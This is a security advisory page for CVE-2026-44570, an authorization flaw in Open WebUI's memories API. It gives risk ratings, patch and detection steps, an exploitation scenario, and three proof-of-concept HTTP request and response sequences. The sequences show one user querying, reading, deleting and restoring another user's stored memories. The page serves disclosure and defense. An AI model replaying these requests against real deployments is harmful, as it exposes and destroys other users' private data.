CVE-2026-44570: open-webui: IDOR exposes cross-user AI memory data
GHSA-hmjq-crxp-7rjw HIGH CISA: ATTENDOpen WebUI's memories API contains broken object-level authorization (IDOR) that allows any authenticated user — regardless of role — to query, read, delete, and restore memories belonging to other users via direct API calls. Open WebUI is among the most widely deployed self-hosted LLM frontends, and its persistent memory feature is specifically designed to store sensitive user context such as personal details, work projects, and confidential prompts; a single compromised or malicious user account can silently exfiltrate the entire memory store of every user in the instance. The vulnerability is not in CISA KEV and no public exploit tooling has been detected, but exploitation is trivial — it requires only a valid JWT and knowledge of three undocumented API endpoints documented in the PoC. Organizations should upgrade to open-webui 0.6.19 immediately; if patching is delayed, disable the memories feature via admin settings or enforce network-layer ACLs to restrict API access to trusted clients only.
What is the risk?
High risk. CVSS 8.3 reflects accurate severity — network-accessible, low privilege required, no user interaction, and dual high-impact on confidentiality and integrity. Exploitation difficulty is trivial: any valid session token is sufficient, the attack requires no AI/ML knowledge, and the PoC is fully documented in the advisory. The risk is elevated in enterprise multi-user deployments where AI memory may contain PII, strategic business context, or credentials inadvertently shared with the LLM. The 57 prior CVEs in this package signal a pattern of recurring security gaps in open-webui's authorization layer.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Open WebUI | pip | < 0.6.19 | 0.6.19 |
Do you use Open WebUI? You're affected.
How severe is it?
What is the attack surface?
What should I do?
4 steps-
PATCH
Upgrade open-webui to version 0.6.19 or later — the fix enforces user-scoped authorization checks on all memory API endpoints.
-
IMMEDIATE WORKAROUND (if patching delayed): Disable the memories feature in Admin Panel > Settings, or use a reverse proxy (nginx/Caddy) to block POST /api/v1/memories/query and DELETE /api/v1/memories/* for non-admin users.
-
DETECTION
Audit API access logs for memory endpoint calls from user tokens that do not own the targeted memory_id — specifically cross-reference user_id in JWT against user_id in memory records returned. Flag any DELETE /api/v1/memories/* calls from non-owner accounts.
-
ASSESS EXPOSURE
If running a multi-user instance, treat all memories as potentially compromised — notify users that their AI memory contents may have been accessed by other platform users.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-44570?
Open WebUI's memories API contains broken object-level authorization (IDOR) that allows any authenticated user — regardless of role — to query, read, delete, and restore memories belonging to other users via direct API calls. Open WebUI is among the most widely deployed self-hosted LLM frontends, and its persistent memory feature is specifically designed to store sensitive user context such as personal details, work projects, and confidential prompts; a single compromised or malicious user account can silently exfiltrate the entire memory store of every user in the instance. The vulnerability is not in CISA KEV and no public exploit tooling has been detected, but exploitation is trivial — it requires only a valid JWT and knowledge of three undocumented API endpoints documented in the PoC. Organizations should upgrade to open-webui 0.6.19 immediately; if patching is delayed, disable the memories feature via admin settings or enforce network-layer ACLs to restrict API access to trusted clients only.
Is CVE-2026-44570 actively exploited?
No confirmed active exploitation of CVE-2026-44570 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-44570?
1. PATCH: Upgrade open-webui to version 0.6.19 or later — the fix enforces user-scoped authorization checks on all memory API endpoints. 2. IMMEDIATE WORKAROUND (if patching delayed): Disable the memories feature in Admin Panel > Settings, or use a reverse proxy (nginx/Caddy) to block POST /api/v1/memories/query and DELETE /api/v1/memories/* for non-admin users. 3. DETECTION: Audit API access logs for memory endpoint calls from user tokens that do not own the targeted memory_id — specifically cross-reference user_id in JWT against user_id in memory records returned. Flag any DELETE /api/v1/memories/* calls from non-owner accounts. 4. ASSESS EXPOSURE: If running a multi-user instance, treat all memories as potentially compromised — notify users that their AI memory contents may have been accessed by other platform users.
What systems are affected by CVE-2026-44570?
This vulnerability affects the following AI/ML architecture patterns: Multi-user LLM assistant platforms, Self-hosted AI frontends with persistent memory, Agent frameworks with user-scoped memory stores, Internal AI gateway deployments.
What is the CVSS score for CVE-2026-44570?
CVE-2026-44570 has a CVSS v3.1 base score of 8.3 (HIGH). The EPSS exploitation probability is 0.29%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0080.000 Memory AML.T0085 Data from AI Services Compliance Controls Affected
What are the technical details?
Original Advisory
### Summary Authorization controls surrounding the memories API were inconsistent, resulting in the ability of a standard user to delete, restore, and view the contents of other users' memories. ### Details Using a newly created non-admin user with no existing memories, it is possible to view existing memories via `POST /api/v1/memories/query`. See below under the PoC section, where a call to `GET /api/v1/memories/` returns `[]` (as expected) but a call to `POST /api/v1/memories/query` reveals memories created by other users. Similarly, even if a non-admin user cannot modify another user's memory data via `POST /api/v1/memories/{memory_id}/update`, the endpoint's response improperly leaks the content of that memory if a valid memory_id is known. The `DELETE /api/v1/memories/{memory_id}` can also be used by any user to delete an existing memory. Deleted memories can then be restored by calling the `POST /api/v1/memories/{memory_id}/update` endpoint again. ### PoC 1 **Example of a user with no memories able to query an existing memory from another user** ``` GET /api/v1/memories/ HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 0 --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:19:58 GMT server: uvicorn content-length: 2 content-type: application/json x-process-time: 0 [] ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:22:01 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 access-control-allow-origin: * access-control-allow-credentials: true {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### PoC 2 **Example showing excess output about a memory a user has no access to modify** ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 18:53:37 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ### PoC 3 **Example showing a memory being deleted then restored by a different user than its owner** ``` DELETE /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043 HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Connection: keep-alive --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:31:19 GMT server: uvicorn content-length: 4 content-type: application/json x-process-time: 0 true ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:32:31 GMT server: uvicorn content-length: 63 content-type: application/json x-process-time: 0 {"ids":[[]],"documents":[[]],"metadatas":[[]],"distances":[[]]} ``` ``` POST /api/v1/memories/d6802d76-a50f-4255-b68e-0f60c335e043/update HTTP/1.1 Host: localhost:8080 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test Accept: application/json Content-Type: application/json Connection: keep-alive Content-Length: 23 { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:05 GMT server: uvicorn content-length: 172 content-type: application/json x-process-time: 0 {"id":"d6802d76-a50f-4255-b68e-0f60c335e043","user_id":"a050e531-356b-4673-8772-ff1aecdf3273","content":"My secret content","updated_at":1752864797,"created_at":1752784616} ``` ``` POST /api/v1/memories/query HTTP/1.1 Host: localhost:8080 Content-Length: 19 Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjUxYmI2MTZkLWI4MDktNDkwZi1hNDFmLTg5MWIwYmY0OGUyOCJ9.4W1ju8dp2LdiBbgD3q0RZ6r2Xf26ti0c-PQn7tWYXEE User-Agent: Test accept: application/json Content-Type: application/json Connection: keep-alive { "content": "" } --- HTTP/1.1 200 OK date: Fri, 18 Jul 2025 19:33:34 GMT server: uvicorn content-length: 187 content-type: application/json x-process-time: 0 {"ids":[["d6802d76-a50f-4255-b68e-0f60c335e043"]],"documents":[["My secret content"]],"metadatas":[[{"created_at":1752784616,"updated_at":1752864797}]],"distances":[[0.6216812525921495]]} ``` ### Impact Potential disclosure of sensitive data stored within a user's memories. Disclosure of unique user ID values to non-admins when viewing a memory.
Exploitation Scenario
An attacker or malicious insider registers a standard user account on a corporate open-webui instance. With their JWT token, they issue a POST /api/v1/memories/query with empty content — this semantic search against the shared vector store returns memories from all users platform-wide, not just their own. The attacker iterates through returned memory IDs, collecting sensitive context such as project codenames, personal details, or credentials that colleagues have fed to their AI assistants. They then selectively call DELETE /api/v1/memories/{id} to silently erase memories of targeted users (disrupting their AI context), and can call POST /api/v1/memories/{id}/update to restore deleted memories at will — including their own exfiltrated copies. The entire operation leaves no application-level audit trail in unpatched versions and requires only a single valid user account.
Weaknesses (CWE)
CWE-639 — Authorization Bypass Through User-Controlled Key: The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
- [Architecture and Design] For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- [Architecture and Design, Implementation] Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L References
Timeline
Related Vulnerabilities
CVE-2026-44551 9.1 open-webui: LDAP auth bypass — full account takeover
Same package: open-webui CVE-2026-45672 8.8 open-webui: code exec gate bypass via API endpoint
Same package: open-webui CVE-2026-44552 8.7 open-webui: Redis cache poisoning enables cross-instance tool hijack
Same package: open-webui CVE-2025-64495 8.7 Open WebUI: XSS-to-RCE via malicious prompt injection
Same package: open-webui CVE-2026-45315 8.7 open-webui: stored XSS → JWT theft and admin takeover
Same package: open-webui